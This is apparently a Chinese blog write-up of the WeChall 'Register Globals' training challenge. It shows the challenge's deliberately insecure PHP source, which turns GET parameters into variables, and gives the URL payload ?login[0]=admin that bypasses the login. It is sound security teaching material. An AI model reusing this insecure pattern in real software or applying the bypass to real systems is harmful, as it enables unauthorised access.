Training: Register Globals


中文翻译:

源码:
<?php
chdir('../../../../');
define('GWF_PAGE_TITLE', 'Training: Register Globals');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/training/php/globals/index.php');
}
$chall->showHeader();GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{$uname = GDO::escape($_POST['username']);$pass = md5($_POST['password']);$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";$db = gdo_db();if (false === ($row = $db->queryFirst($query))) {echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));} else {# Login success$login = array($_POST['username'], (int)$row['level']);}
}if (isset($login))
{echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));if (strtolower($login[0]) === 'admin') {$chall->onChallengeSolved(GWF_Session::getUserID());}
}
else
{?>
<form action="globals.php" method="post">
<table>
<tr><td><?php echo $chall->lang('th_username'); ?>:</td><td><input type="text" name="username" value="" /></td>
</tr>
<tr><td><?php echo $chall->lang('th_password'); ?>:</td><td><input type="password" name="password" value="" /></td>
</tr>
<tr><td></td><td><input type="submit" name="send" value="<?php echo $chall->lang('btn_send'); ?>" /></td>
</tr>
</table>
</form>
<?php
}# EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }require_once 'challenge/html_foot.php';
?>

解题思路:

核心代码:
if (isset($login))
{echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));if (strtolower($login[0]) === 'admin') {$chall->onChallengeSolved(GWF_Session::getUserID());}
}
else
{

这里我们只需要使$login存在并且login[0]=admin,即可完成绕过。

Payload如下:

www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

或者
www.wechall.net/challenge/training/php/globals/globals.php?login[]=admin
两者等价

成功示意图:

WeChall_Training: Register Globals相关推荐

  1. php5.3 register_globals,在PHP 5.3中PHP寄存器全局支持?(PHP register globals support in PHP 5.3?)...

    在PHP 5.3中PHP寄存器全局支持?(PHP register globals support in PHP 5.3?) 我一直在使用PHP 5.2并使用register_globals ON. ...

  2. php中的Register Globals

    参考: http://php.net/manual/zh/security.globals.php 转载于:https://www.cnblogs.com/xyhacker/p/10019780.ht ...

  3. php7 globals,使用 Register Globals - PHP 7 中文文档

    Warning 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除. 可能 PHP 中最具争议的变化就是从 PHP » 4.2.0 版开始配置文件中 PHP 指令 [regist ...

  4. php http_get_vars,$_GET($HTTP_GET_VARS)和$_POST($HTTP_POST_VARS)的区别

    HTTP POST 变量:$_POST 注: 在 PHP 4.1.0 及以后版本使用.之前的版本,使用 $HTTP_POST_VARS. 当然,现在普遍是PHP5了,一般都不用这样的写法 如果要兼容P ...

  5. 20步打造最安全的Nginx Web服务器

    Nginx是一个轻量级的,高性能的Web服务器以及反向代理和邮箱(IMAP/POP3)代理服务器.它运行在UNIX,GNU/Linux,BSD各种版本,Mac OS X,Solaris和Windows ...

  6. PHP 获取当前类名、方法名、URL地址

      1.PHP获取当前类名.方法名   __CLASS__ 获取当前类名   __FUNCTION__ 当前函数名(confirm)   __METHOD__ 当前方法名 (bankcard::con ...

  7. PHP获取 当前页面名称、主机名、URL完整地址、URL参数、获取IP

    $URL['PHP_SELF'] = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : (isset($_SERVER['SCRIPT_NAME ...

  8. php数组为什么其他语言,PHP语言特性和各版本的差异

    PHP语言简介 PHP 独特的语法混合了 C.Java.Perl 以及 PHP 自创新的语法. 它可以比 CGI或者Perl更快速的执行动态网页.用PHP做出的动态页面与其他的编程语言相比,PHP是将 ...

  9. PHP 手册 参考文档

    PHP 手册 by: Mehdi Achour Friedhelm Betz Antony Dovgal Nuno Lopes Hannes Magnusson Georg Richter Damie ...

最新文章

  1. 如何优雅地根治null值引起的Bug!
  2. zabbix 自动注册发现
  3. HTML5 手机端动态适配
  4. 企业微信提示服务商未响应请求,将无法获取用户事件回调
  5. 我圣贤为何发起第三方插件商店和桌面应用商店?
  6. nimbus java_Java:Swing使用Nimbus皮肤
  7. vs2012搭建gtest环境
  8. 【CSS3】-webkit-margin-before与margin-top
  9. C语言高级编程:接续符‘\‘的用法
  10. 经典语句,看看让心灵宁静
  11. PyQt5教程(三)——布局管理
  12. vlan 优科r500_ruckus 常用配置方法
  13. RAPIDXML 中文手册,根据官方文档完整翻译!
  14. linux搭建虚拟ftp,linux下搭建ftp服务器(虚拟用户)
  15. 孪生支持向量机基本原理
  16. Markdown 常用数学符号和公式
  17. c语言错误中numeric,LC_NUMERIC
  18. 一条校招/社招潜规则~
  19. [kubernetes]-weave scope初体验
  20. Look Into Person数据集的错误!!

热门文章

  1. linux下安装jdk,非常简单的操作
  2. 两分钟倒计时(Python)
  3. 求数组非连续子序列的最大和
  4. spark常用RDD算子 汇总(java和scala版本)
  5. 【转】Android Camera 相机开发详解
  6. spark集群详细搭建过程及遇到的问题解决(三)
  7. 工行居逸贷,信贷员说3年利率11.38%!!!
  8. Redis的安装与简单部署
  9. js获取select标签选中的值
  10. Nubiers to follow